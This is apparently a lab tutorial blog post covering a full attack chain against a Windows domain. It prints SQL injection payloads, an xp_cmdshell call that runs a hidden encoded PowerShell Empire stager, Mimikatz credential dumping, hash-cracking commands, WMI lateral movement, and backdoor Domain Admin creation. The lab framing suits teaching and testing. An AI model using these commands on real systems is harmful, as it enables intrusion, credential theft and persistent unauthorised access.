Intro and Tools
I have built a small lab to demonstrate some very basic SQL injection (SQLi) and how to utilise PowerShell Empire for privilege escalation. The demonstration starts as an unauthenticated user on the network and ends with full administrative privileges over the target Active Directory domain.
This is a supplement to the YouTube video I made.
Here is a list of tools used in the demonstration;
The lab consists of the following servers;
- Domain Controller - Windows Server 2012 R2
- Web Server - Windows Server 2008 R2
- SQL Server (SQL Express 2014) - Windows Server 2012 R2
- Kali - Rolling Release
Discovery with nmap
I tend to always start using nmap's ping scan, this is a quick and easy way to see what hosts you have available to work with. To issue a ping scan or also known as skip port scan do the following;
nmap -sP 192.168.0/24
This will quickly return a list of hosts, with little detail. But is ideal to form a list to complete a full port scan against. For the demonstration I shortened the scan by selecting the applicable ports. If I was doing a full scan you could run something like;
nmap -v -sSV -O -p- -Pn -oA results -iL ips_list
Lets breakdown the above command;
-vincreases the verbosity
-sSVis a SYN scan with versioning
-Oenables OS detection
-p-scans all ports
-Pntells nmap not to ping
-oAoutputs the results in 3 file types these are standard, grepable, and xml
-iLis a file containing a list of IPs to scan
Once you have completed the nmap scanning you should have a good idea of the environment. I personally go through each port and check to see what service might be running, get an idea of its version then investigate any known vulnerabilities.
I quickly developed a vulnerable website so I could demonstrate SQLi, it is available in the SQL Injection Example folder on my GitHub. In the demonstration a web service was detected during the nmap discovery, you see me visiting the page to find it requires no authentication and is highly vulnerable to SQLi.
I start off with a very basic example of;
nolan' OR 99 = 99 -- t
Lets break this down a bit, in the back end the developer has coded his application as follows (snipped, view full code);
string WhereText = SearchLastName.Text; cmd = new SqlCommand("SELECT Givenname, Surname, EmailAddress FROM Data WHERE Surname LIKE '%" + WhereText + "%'")
As we can see the developer has not either escaped or better still parametrised the query. This means anything we place in the search box is appended to the query executed.
Now if we go back to our very first example using knowledge of the code the end result would be this;
SELECT Givenname, Surname, EmailAddress FROM Data WHERE Surname LIKE '%nolan' OR 99 = 99 -- t
As you can see this would now return all records as 99 does equal 99. The comment on the end
-- is to stop anything else being added to our query.
For example if the query had an extra clause in the where statement it would cause a syntax error, having the comment on the end ensures only our query is executed. Also note I have placed a letter namely t in this case, this is to stop the code from truncating my white space on the end of the query, for a comment to work you need a space or 2 after the
The demo then goes to show you the UNION statement and how to append data, the example given in the video was;
nolan' UNION SELECT 'test' AS Givenname, 'test1' AS Surname, 'test3' AS EmailAddress -- t
In this example we have only appended the data entered by myself, however say if we had another table called users we could use the following approach to output the data in that table;
invalid' UNION SELECT username AS Givenname, password AS Surname, email AS EmailAddress FROM users -- t
I used an invalid word to begin with to not return any results from the original table in the database, then tell it simply give me the data from the users table instead.
Lastly I started to execute the PowerShell Empire stager using the xp_cmdshell function, you first need to enable the advanced options by issuing the command
'; EXEC sp_configure 'show advanced options', 1 -- t. With the advanced options enabled I was then able to enable the xp_cmdshell using
'; EXEC sp_configure 'xp_cmdshell', 1 -- t. If you notice in the above commands I use a semicolon
; this allows me to stack the SQL queries meaning I was able to run each query separately.
I also lightly touched on sqlmap, this tool requires its own blog post as its a huge tool, in the demonstration I show the sqlmap wizard and how easy it is to retrieve data from a vulnerable web page.
This is only the surface of SQLi and is a very extensive subject one that can easily go into more depth and spend a great amount of time on. I would encourage reading up on SQLi as its great knowledge to have.
For further reading take a look at the OWASP SQL Injection page as a starting point.
I now have the ability to run shell commands on the SQL box thanks to having the enabled the xp_cmdshell, so now lets look to getting an Empire agent on the box. I issued the command;
test'; EXEC xp_cmdshell 'powershell.exe -NoP -sta -NonI -W Hidden -Enc <<base64_payload>> -- t
This will now launch an agent on the SQL box ready for use with Empire. The stager is explained a little further down.
I didn't show setting up the listener in the demonstration, but it is a case of issuing the command
listeners and then setting the host
set Host http://192.168.1.200:8000 once set you can then tell the listener to start by issuing the
Listeners can use SSL certificates to encrypt communication in transit between your Empire and the agent. You can also run multiple listeners if required.
Stager and Agent
Their are multiple stagers in Empire, I simply use the standard launcher for the demonstration. This is done by issuing the following commands;
usestager launcher set Listener main
This will now set the launcher to use the main listener, by default the listener is called test.
You can then grab the command to run by issuing the command
execute. This will give you a PowerShell command to run on your target box.
We now have an agent running on the box and we can execute commands on it to our liking. At this point it would be a good idea to search for documents that might be of interest to us, such as text files left lying around with passwords in it etc.
You can interact with the agent by issuing the
agents command and then issuing the
interact ABCDEF123456789, you can now download and explore the file system as you wish. For example
shell whoami would return the current logged on user, prefix any command with
shell. You can also import PowerShell scripts and execute them if you so wish at this point.
At any point in Empire you can list your agents by issuing the command
list agents this is handy when trying to remember which agent is which. Or you can simply rename them if you prefer.
After searching for documents or information of interest you might yield no results, so you can now turn to the PowerUp module to see if privilege escalation is possible.
First we issue the command
usemodule privesc/powerup/allchecks to start making use of the module. We then set the agent by issuing the command
set Agent ABCDEF123456789 and finally we can then tell it to start the module by issuing the
No output will be displayed as mentioned earlier you will need to interact with the agent to see the results or you can read the logfile using
tail -f logfile which will update your screen each time the log file is updated. Log files are in the Downloads folder within your Empire directory.
At this point in the video we have just run all the checks and identified that the VMTools service is vulnerable to allowing privilege escalation. So we now need use this vulnerable service to escalate up to SYSTEM level privileges.
PowerUp Service Stager Module
We now switch to this module
usemodule privesc/powerup/service_stager and issue the following commands;
set Agent ABCDEF123456789 set Listener main set ServiceName VMTools run
This now replaces the service executable path with a stager launcher and executes a SYSTEM level agent on the box. After the service is executed the agent stager successfully, the original executable path is restored.
This will leave an event log detailing that the VMTools service has stopped and started.
Now we have system level permissions on the server we can now make use of Mimikatz and dump the credentials using WDigest.
The executable of Mimikatz is widely detected by AV and is hard to get onto a server as a result. With PowerShell Empire it makes use of the Invoke-Mimikatz.ps1 this is run in memory and as PowerShell is a trusted application the script executes undetected.
To use and execute this module you can do it 2 ways, with the video we make use of the module, else you can interact with the agent that has administrative privileges on the server and issue the
To use the module we simply issue the command
use credentials/mimikatz/logonpasswords and then run the following;
set Agent ABCDEF123456789 execute
This will now dump the credentials on the box, in our case we didn't get any clear text passwords returned so we now have to attempt to crack the password. With the NTLM hash we can also use a method called pass the hash which saves having to crack the password. This can be used for example with metasploit using the PSExec Pass the Hash module to gain a shell on a remote box.
In the video we use john (John the Ripper) which will helped us crack the password to Password1$ however we could of also used hashcat which I personally prefer but without fiddling with configuration of the VM I wouldn't be able to run hashcat on my Kali VM.
To attempt to crack the hash we first stored it in a file called admin_hash and then issued the command to attempt to crack it;
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT admin_hash
This fails to display the password in the demo video, I had previously tested it prior to recording and it refused to show the cracked password from its pot file. However if john had worked correctly it would of cracked the password as it was based in the dictionary file provided.
With hashcat or john you can use word mangling using some great rules which will see a dictionary based password such as
r0cky0u2016! become cracked fairly quickly. Here is the NTLM for that password if you want to have a play
The above password was entered into hashcat and was cracked with the d3adhob0.rule in about 10 seconds. The command I used was;
hashcat -m1000 -a0 -r ./rules/d3adhob0.rule 78BDD374A1C5A25E389AC7B530A0A5E4 ./wordlists/rockyou.txt
We now have an administrative password at our disposal, firstly we need to move away from the SQL server and gain a foothold on more servers joined to the domain.
This technique is great for when you have an administrative credential and you are unsure which servers it is allowed to access. Spraying the environment in this way is noisier and you will attract attention from network monitoring. But can yield in a quicker progression across the environment.
There are a few modules to help with lateral movement in Empire, I personally love PowerShell Remoting but find not many environments have it enabled. So I tend to opt for the legacy WMI module, as WMI is more likely to be enabled.
So to use WMI to we can use the module like this, the credentials are optional if they are not set the module is run as the agents current user;
usemodule lateral_movement/invoke_wmi set Listener main set ComputerName 192.168.1.1,192.168.1.20 set UserName DEMO\Administrator set Password Password1$ execute
This will now connect to each server in the comma separated list and deploy an agent if administrative privileges are held.
We now have an agent on every server for the domain including a domain controller. Next step is to create an administrative account to keep our access to the domain.
In the video you will see me briefly explain about the module
persistence/misc/add_netuser I struggled to get this working, so fall-back to shell commands to get the account created instead.
To create a new 'Domain Admin' we can run 2 commands using the
shell command, while interacting with an agent that is using the Administrator account we issue the commands;
shell net user backdoor Password1! /ADD /DOMAIN shell net group "Domain Admins" backdoor /ADD /DOMAIN
You now have an 'Domain Admin' account to access the domain freely when we need to.
Thanks for reading all the way down to the bottom, hopefully you learnt something new and found it informative. Any questions please reach out to me.
Here is a thought, what else could have you done if the web service was not vulnerable to SQLi?